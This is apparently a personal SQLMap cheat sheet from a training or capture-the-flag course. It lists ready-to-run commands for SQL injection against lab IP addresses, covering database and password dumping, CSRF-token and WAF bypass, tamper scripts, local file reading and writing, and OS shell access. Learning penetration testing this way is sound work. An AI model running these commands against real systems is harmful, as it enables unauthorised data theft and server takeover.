๐Ÿ—บ๏ธSQLMap

Installation

  • sudo apt install sqlmap

Manual Installation

  • git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Execution

  • python sqlmap.py

  • sqlmap -hh

  • B: Boolean-based blind

  • E: Error-based

  • U: Union query-based

  • S: Stacked queries

  • T: Time-based blind

  • Q: Inline queries

  • sqlmap -u "http://www.example.com/vuln.php?id=1" --batch

Flag:

  • -u: is used to provide the target URL

  • --batch: is used for skipping any required user-input

Testing POST

  • sqlmap 'http://www.example.com/' --data 'uid=1&name=test'

Special marker *

  • sqlmap 'http://www.example.com/' --data 'uid=1*&name=test'

Full HTTP Requests

Run SQLMap with an HTTP request file

  • sqlmap -r req.txt

Cookies

  • sqlmap -u "http://157.245.46.51:30545/case3.php" --cookie='id=1' -p 'id' --param-filter='COOKIE' --level=2 --dump --batch

Display Errors

  • --parse-errors

Prefix/Suffix

  • sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

Ref:

  • sqlmap -r req.txt --batch -T flag5 --no-cast --risk=3 --dump --technique=B

  • sqlmap -r req.txt --batch --dump --prefix='`)'

  • sqlmap -r req.txt --batch --dump --union-col=5 --no-cast

Basic DB Data Enumeration

  • Database version banner (switch --banner)

  • Current user name (switch --current-user)

  • Current database name (switch --current-db)

  • Checking if the current user has DBA (administrator) rights.

Table Enumeration

Tip: Apart from default CSV, we can specify the output format with the option --dump-format to HTML or SQLite, so that we can later further investigate the DB in an SQLite environment.

Table/Row Enumeration

Conditional Enumeration

Full DB Enumeration

  • --dump-all --exclude-sysdbs

DB Schema Enumeration

Searching for Data

Password Enumeration and Cracking

DB Users Password Enumeration and Cracking

Tip: The '--all' switch in combination with the '--batch' switch, will automa(g)ically do the whole enumeration process on the target itself, and provide the entire enumeration details.

Anti-CSRF Token Bypass

  • --csrf-token

Unique Value Bypass

  • --randomize

Calculated Parameter Bypass

  • --eval

Ref:

  • sqlmap -u 'http://167.71.139.192:31141/case8.php' --data 'id=1&t0ken=wSQJPIxhc3AxIAaE8L2Jbas3OSlwkHjWdaolkgabU' --csrf-token="t0ken" -T flag8 --no-cast --dump

  • sqlmap -u 'http://167.71.139.192:31141/case9.php?id=1&uid=3022365281' --batch --randomize=uid -v 5 -T flag9 --dump --no-cast

  • sqlmap -u 'http://167.71.139.192:31141/case10.php' --data 'id=1' -p 'id' --random-agent --dump --batch --no-cast -T flag10

  • sqlmap -u 'http://167.71.139.192:31141/case11.php?id=1' -p 'id' --tamper=between --batch --dump --no-cast -T flag11

Checking for DBA Privileges

  • --is-dba

WAF Bypass

  • --skip-waf

Reading Local Files

  • --file-read

Writing Local Files

  • --file-write

  • --file-dest

OS Command Execution

  • --os-shell

Ref:

  • sqlmap -u 'http://167.71.139.140:32080/?id=1' --file-read '/var/www/html/flag.txt'

  • sqlmap -r req.txt -D <database> -T <table> --dump --batch --no-cast --tamper=between

  • --dump-all --batch --no-cast --exclude-sysdbs --random-agent --skip-waf --tamper=between

Last updated